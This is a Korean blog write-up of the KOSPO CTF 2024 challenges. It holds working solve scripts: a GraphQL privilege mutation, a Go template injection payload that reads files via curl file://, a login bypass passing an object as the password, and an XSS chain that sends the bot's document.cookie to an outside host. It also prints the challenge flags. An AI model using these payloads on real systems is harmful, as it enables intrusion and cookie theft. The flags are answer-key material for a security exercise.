2413 words
12 minutes
KOSPO CTF 2024 Writeup
2024-10-08

Web#

look_me_inside (1000 points, 24 solves)#

해당 페이지에 접속한 후, 개발자 도구를 통해 사이트의 동작방식을 확인한다면, graphql을 활용하여 통신한다는 것을 알 수 있다. 그러나, 어떠한 보안조치도 없기 때문에, 악성 쿼리를 보내 Query, Mutation을 파악할 수 있다.

{
    "name": "Query",
    "fields": [
        {
            "name": "getMe", // id, pw 반환
            "args": []
        },
        {
            "name": "getBooks",
            "args": []
        },
        {
            "name": "getBook",
            "args": [
                {
                    "name": "id",
                    "description": null,
                    "type": {
                        "name": null,
                        "kind": "NON_NULL",
                        "ofType": {
                            "name": "String",
                            "kind": "SCALAR"
                        }
                    }
                }
            ]
        }
    ]
},
{
    "name": "Mutation",
    "fields": [
        {
            "name": "updateUser",
            "args": [
                {
                    "name": "id",
                    "description": null,
                    "type": {
                        "name": null,
                        "kind": "NON_NULL",
                        "ofType": {
                            "name": "String",
                            "kind": "SCALAR"
                        }
                    }
                },
                {
                    "name": "password",
                    "description": null,
                    "type": {
                        "name": null,
                        "kind": "NON_NULL",
                        "ofType": {
                            "name": "String",
                            "kind": "SCALAR"
                        }
                    }
                },
                {
                    "name": "is_premium_user",
                    "description": null,
                    "type": {
                        "name": null,
                        "kind": "NON_NULL",
                        "ofType": {
                            "name": "Boolean",
                            "kind": "SCALAR"
                        }
                    }
                }
            ]
        }
    ]
}

getMe를 통해 id, pw를 반환하며, getBook을 통해 flag를 얻을 수 있다. 그러나 getBook의 경우에는 is_premium_usertrue여야 flag를 반환한다. 따라서 updateUser를 통해 is_premium_usertrue로 변경한 후, getBook을 통해 flag를 얻을 수 있다.

const book_content_query = `
mutation {
  updateUser(id: "??", password: "??", is_premium_user: true) {
      id
      password
      is_premium_user
  }
}`;
const response3 = await fetch('/graphql', {
	method: 'POST',
	headers: {
		'Content-Type': 'application/json'
	},
	body: JSON.stringify({
		query: book_content_query
	})
});

위 코드를 실행시키고 난 후, 페이지를 새로고침하면 아래 사진과 같이 flag 부분이 활성화된 것을 볼 수 있다.

flag{y0U_ar3_Gr1phQL_m4sT3r!}

gogocommand_server (1000 points, 12 solves)#

golang으로 작성된 서버이다.

func UnderConstruction(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if strings.HasPrefix(r.URL.Path, "/command") {
            w.Write([]byte("Under Construction!!!"))
            return
        }
        next.ServeHTTP(w, r)
    })
}

/command/{command} 라우터를 통해 원하는 명령어를 수행 가능하지만 위와 같이 막혀있다.

혹시나 해서 pathtraversal 공격을 시도해보았지만, 막힌 듯하다. (이 부분은 잘 모르겠다.)

그래서 다른 공격 벡터를 찾던 중, index 함수에서 ssti 공격이 발생한다는 것을 알았다.

func index(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    name := params.Get("name")
    if name == "" {
        name = command_run("echo", "guest")
    }

    data := IndexPageData{
        WelcomeText: "Welcome",
    }

    html := `<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>{{ .WelcomeText }}</title>
</head>
<body>
    <h1>Welcome! ` + name + `</h1>
    <h3>🚧 {{ getDate "date" "none" }} // Command page is under construction... 🚧</h3>
</body>
</html>
`

    tmpl, err := template.New("indexpage").Funcs(template.FuncMap{
        "getDate": getDate,
    }).Parse(html)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, data)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
}

만약 아래 name{{ }}와 같은 악성 페이로드를 삽입하게 된다면, ssti 공격이 발생한다.

html := `<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>{{ .WelcomeText }}</title>
</head>
<body>
    <h1>Welcome! ` + name + `</h1>
    <h3>🚧 {{ getDate "date" "none" }} // Command page is under construction... 🚧</h3>
</body>
</html>
`

그러나, 사용 가능한 함수는 getDate로 제한되어 있으며, getDatecurl, echo, cat, date 명령어만 지원한다. 이때, 효율적으로 flag를 얻기 위해서는 curlglobbing 기능을 사용했어야 한다. 그러나 나는 brute forceflag를 얻었다. :<

import { create } from './utils/';

const r = create({
	baseURL: 'http://hackbox.kospo.co.kr:20002'
});

for (let i of 'abcdef01234') {
	console.info(i);
	for (let j of 'abcdef01234') {
		for (let k of 'abcdef01234') {
			for (let l of 'abcdef01234') {
				const res = await r.get('/', {
					params: {
						name: `{{getDate "cat" "/flag${i}${j}${k}${l}"}}`
					}
				});
				console.log(res.data.split('<h1>')[1].split('</h1>')[0].trim());
				if (!res.data.includes('No')) {
					console.log(res.data);
					process.exit(0);
				}
			}
		}
	}
}

참고로 curlglobbing을 사용하는 방법은 아래와 같다.

import { create } from './utils/';

const r = create({
	baseURL: 'http://hackbox.kospo.co.kr:20002'
});

const res = await r.get('/', {
	params: {
		name: `{{getDate "curl" "file:///flag{a,b,c,d,e,f,0,1,2,3,4}{a,b,c,d,e,f,0,1,2,3,4}{a,b,c,d,e,f,0,1,2,3,4}{a,b,c,d,e,f,0,1,2,3,4}"}}`
	}
});
console.log(res.data.split('<h1>')[1].split('</h1>')[0].trim());

flag{SS1t_w1TH_Go14ng!!!}

kospo_board(1000 points, 5 solves)#

문제 파일을 열었을때, 코드가 너무 난잡해서 나중에 풀었던 문제이다. 내가 좋아하는 nodejs로 작성된 서버이다!! 일단, flag는 봇의 cookie에 존재한다. 먼저, flag을 얻기 위한 board가 어떻게 작동하는 알아보자.

router.post('/new', (req, res, next) => {
	let page_uuid = uuid.v4();
	db.query(
		'INSERT INTO board (uuid, title, content, username, admin_viewed) VALUES (?, ?, ?, ?, ?)',
		[page_uuid, req.body.title, req.body.content, req.user.username, false],
		(error, results, fields) => {
			if (error) {
				return next(error);
			}
			res.redirect(`./view/${page_uuid}`);
		}
	);
});
router.get('/view/:uuid', (req, res, next) => {
	db.query('SELECT * FROM board WHERE uuid = ?', [req.params.uuid], (error, results, fields) => {
		if (error) {
			return next(error);
		}
		if (!results[0]) {
			return res.sendStatus(404);
		}
		console.log(results);
		let content_user = results[0].username;
		let content = results[0].content;
		db.query('SELECT * FROM users WHERE username = ?', [content_user], (error, results, fields) => {
			if (error) {
				return next(error);
			}
			if (!results[0]) {
				return res.sendStatus(500);
			}
			console.log(results);
			let nonceFlag = results[0].nonce_flag; // nonce_flag는 admin 계정만 참이며, 아닌 경우는 모두 false이다.
			let _nonce = uuid.v4();
			if (nonceFlag) {
				db.query(
					'SELECT nonce FROM nonces WHERE username = ?',
					[content_user],
					(error, results, fields) => {
						if (error) {
							return next(error);
						}
						if (!results[0]) {
							db.query(
								'INSERT INTO nonces (username, nonce) VALUES (?, ?)',
								[content_user, _nonce],
								(err) => {
									if (err) {
										return next(err);
									}
								}
							);
						} else {
							_nonce = results[0].nonce;
						}
						res.send(`
                        <html>
                        <head>
                            <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-${_nonce}'; style-src 'self' 'unsafe-inline'; img-src *;">
                            <script nonce='${_nonce}'>document.write("hi")</script>
                            ${content}
                        </head>
                        </html>
                    `);
					}
				);
			} else {
				res.send(`
                    <html>
                    <head>
                        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-${_nonce}'; style-src 'self' 'unsafe-inline'; img-src *;">
                        <script nonce='${_nonce}'>document.write("hi")</script>
                        ${content}
                    </head>
                    </html>
                `);
			}
		});
	});
});

딱 보자마자, nonce를 얻어야 한다는 것을 알 수 있다. 여기서 nonce를 얻는 방법이 두가지가 있다.

  1. css injection을 통한 nonce leak (csp를 보면 이게 인텐인 것 같기도 하다.)
  2. 계정 로그인 관련 취약점을 통한 nonce leak 난 2번 방법을 사용해 nonce를 얻었다. auth 관련 코드를 보면, id와 pw의 타입 검증 없이 그대로 바인딩하고 있는 것을 알 수 있다. 이는, sql injection이 가능해진다.
passport.use(
	new Strategy(function (req, cb) {
		let username = req.body.username;
		let password = req.body.password;
		console.log(username, password);
		db.query(
			'SELECT * FROM users WHERE username = ? AND password = ?',
			[username, password],
			function (err, row, fields) {
				if (err) {
					return cb(err);
				}
				if (!row[0]) {
					return cb(null, false, { message: 'Incorrect username or password.' });
				}
				console.log(row);
				var user = {
					id: row[0].id,
					username: row[0].username,
					nonceFlag: row[0].nonce_flag
				};
				return cb(null, user);
			}
		);
	})
);

username에는 admin을 넣고, password는 객체로 전달해주면 된다.

import { create } from './utils/';
const r = create({
	baseURL: 'http://hackbox.kospo.co.kr:41324/'
});
await r
	.post(
		'/login',
		{
			username: 'admin',
			password: {
				username: 0
			}
		},
		{
			maxRedirects: 0,
			validateStatus: (status) => status === 302
		}
	)
	.then((res) => console.info(res.headers, res.status));

그러면, admin 계정을 탈취할 수 있고, nonce를 얻을 수 있다. 참고로, nonce 값은 cf833634-6991-47b9-8f85-9ba91c8a1a44이다. 이제, xss를 통해 flag을 얻어야 한다. 먼저 script를 제공해줄 서버를 준비해야 한다.

import express from 'express';
const app = express();
app.use('*', (req, res) => {
	console.info(req.query);
	console.info(req.headers);
	res.status(200).send('location.href="https://h.bmcyver.dev/?"+document.cookie');
});
app.listen(3000, '0.0.0.0', () => {
	console.log('Server started on http://0.0.0.0:3000');
});

그리고, <script src='https://h.bmcyver.dev' nonce='cf833634-6991-47b9-8f85-9ba91c8a1a44' </script>content에 넣고 post하면 된다. img2 flag{471c6236d52f164df2b5ff324bb351ee6935715d9a102a386022430b220f8072vxxwcj1zzg}

Misc#

The Maze Runner Revenge (1000 points, 18 solves)#

사이트에 들어가면, 미로가 있다.

img3

대충 solver를 만들어서 풀어보았다. (온라인에서 적절한 코드 하나 가져와서, chatgpt 돌려주면 된다. 물론 직접 코드를 작성해도 된다.)

//@ts-nocheck
import * as cheerio from 'cheerio';
import { create } from './utils/';

const axios = create({
	baseURL: 'http://hackbox.kospo.co.kr:16667'
});

async function shortestPath(grid: string[][]): Promise<number> {
	const directions: number[][] = [
		[0, 1], // right
		[1, 0], // down
		[0, -1], // left
		[-1, 0] // up
	];

	const rows: number = grid.length;
	const cols: number = grid[0].length;

	let start: number[] | null = null;
	let end: number[] | null = null;

	// Find start and end points
	for (let i = 0; i < rows; i++) {
		for (let j = 0; j < cols; j++) {
			if (grid[i][j] === '@') {
				start = [i, j];
			} else if (grid[i][j] === '#') {
				end = [i, j];
			}
		}
	}

	if (!start || !end) return -1;

	const queue: Array<[number, number, number]> = [[start[0], start[1], 0]];
	const visited: Set<string> = new Set();
	visited.add(start[0] + ',' + start[1]);

	while (queue.length > 0) {
		const [x, y, distance] = queue.shift()!;

		if (x === end[0] && y === end[1]) {
			return distance;
		}

		for (const [dx, dy] of directions) {
			const newX = x + dx;
			const newY = y + dy;

			if (
				newX >= 0 &&
				newX < rows &&
				newY >= 0 &&
				newY < cols &&
				grid[newX][newY] !== '1' &&
				!visited.has(newX + ',' + newY)
			) {
				visited.add(newX + ',' + newY);
				queue.push([newX, newY, distance + 1]);
			}
		}
	}
	return -1;
}
let step_1 = 1;

async function parseMaze(): Promise<void> {
	const { data } = await axios.get('/stage');
	const $ = cheerio.load(data);

	const cells = $('.maze .cell');
	const grid: string[][] = [];
	let rows: number = 10 + step_1;
	let cols: number = 10 + step_1;
	if (rows > 30) {
		rows = 30;
		cols = 30;
	}
	console.info(cells.length);
	for (let i = 0; i < rows; i++) {
		const row: string[] = [];
		for (let j = 0; j < cols; j++) {
			const cell = $(cells[i * cols + j]);
			if (cell.hasClass('wall')) {
				row.push('1');
			} else if (cell.hasClass('start')) {
				row.push('@');
			} else if (cell.hasClass('end')) {
				row.push('#');
			} else {
				row.push('0');
			}
		}
		grid.push(row);
	}

	const step: number = await shortestPath(grid);
	console.info('최단 경로:', step);
	await axios.postForm('/stage', { steps: step }).then(async (res) => {
		console.info(res.data);
		if (res.data.includes('통과')) {
			console.info('통과', step_1);
			step_1++;
			await parseMaze();
		}
	});
}

parseMaze();

flag{e5382e8e9c47d3354e8bd7e235676a3c5191a3a350b60d70031646a8f2b9293d}

Captcha Bypass (1000 points, 18 solves)#

사이트에 들어가면, 아래와 같이 captcha가 나온다. captcha 이미지 자체는 ocr로 읽어오기 쉽다. (근데, 혹시 그런 문제가 나왔을까 해서, session 값을 확인해보니 captcha_text가 존재한다.)

img4

그러면 이를 이용해 captcha를 우회할 수 있다. 오늘 대체적으로 코드가 더러운데, redirect 될 때의 쿠키 값 처리를 이상하게 해두었다…

import { create } from './utils/';

const r = create({
	baseURL: 'http://hackbox.kospo.co.kr:14447'
});

const decoder = () =>
	JSON.parse(Buffer.from(r.getCookie('session')?.split('.')[0]!, 'base64').toString());

await r.get('/', {
	maxRedirects: 0,
	validateStatus: (status) => status === 302
});

await r.get('/captcha', {
	maxRedirects: 0
});

for (let i = 0; i < 31; i++) {
	const data = decoder();
	console.log(data);
	await r
		.postForm(
			'/submit',
			{
				captcha: data.captcha_text
			},
			{
				maxRedirects: 0,
				validateStatus: (status) => status === 302
			}
		)
		.then((res) => {
			console.info(res.data);
		});
	await r
		.get('/captcha', {
			maxRedirects: 0
		})
		.then((res) => {
			console.info(res.data);
		});
}

위 코드를 돌려주면, 10초 이내에 flag가 나온다.

img6

근데, 이걸 손으로 푼 팀이 있다고 해서 놀랐다…

flag{c740ae2088ddc42b0c7df3a6dff19be84a81c23124e9e2cc8833a89e5f27c034}

Lamb (1000 points, 20 solves)#

문제 파일 하나만 던져준다.

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))

base64reverse한 뒤, decoding하고, zlib으로 decompress하면 또 저런게 나오는데, 원본 코드가 나올 때까지 반복해서 실행해줬다. 그러면 딱 봐도 아주 느려 보이는 함수가 나온다.

fib = (lambda f: (lambda n: f(f, n)))( lambda f, n: n if n <= 2 else f(f, n - 1) + f(f, n - 2) + f(f, n - 3) )

result = 'flag{'

for i in range(0, 200, 9):
    result += str(fib(i))
    print(result)

result += '}'
print(result)

이를 최적화 해주고, flag를 얻으면 된다.

def fib(n, memo={}):
    if n in memo:
        return memo[n]
    if n <= 2:
        return n
    memo[n] = fib(n - 1, memo) + fib(n - 2, memo) + fib(n - 3, memo)
    return memo[n]

result = "flag{"
for i in range(0, 200, 9):
    result += str(fib(i))
result += "}"

print(result)

flag{012530122725652717481303264211325385671014527420536762444042653467920158878098029229914601418400134146885373913341699037144358680988654823168506365148666776570751983050334394589676653798994647772583600253584231607504529151150863245506051260870977163040832277248185055181114572069565570413413667903475209103694582271559884701463121609009819514637537984884786419034879352538761777642854805832271476827517048162877629337888357246599748343755262694404711732458792249539734111626830280456572830797285323264318385419243432504630371581839599526570019715850170550313055203664736538178462563219117049183199426576339828}

KOSPO CTF 2024 Writeup
https://bmcyver.dev/posts/kospo-ctf-2024-writeup/
Author
bmcyver
Published at
2024-10-08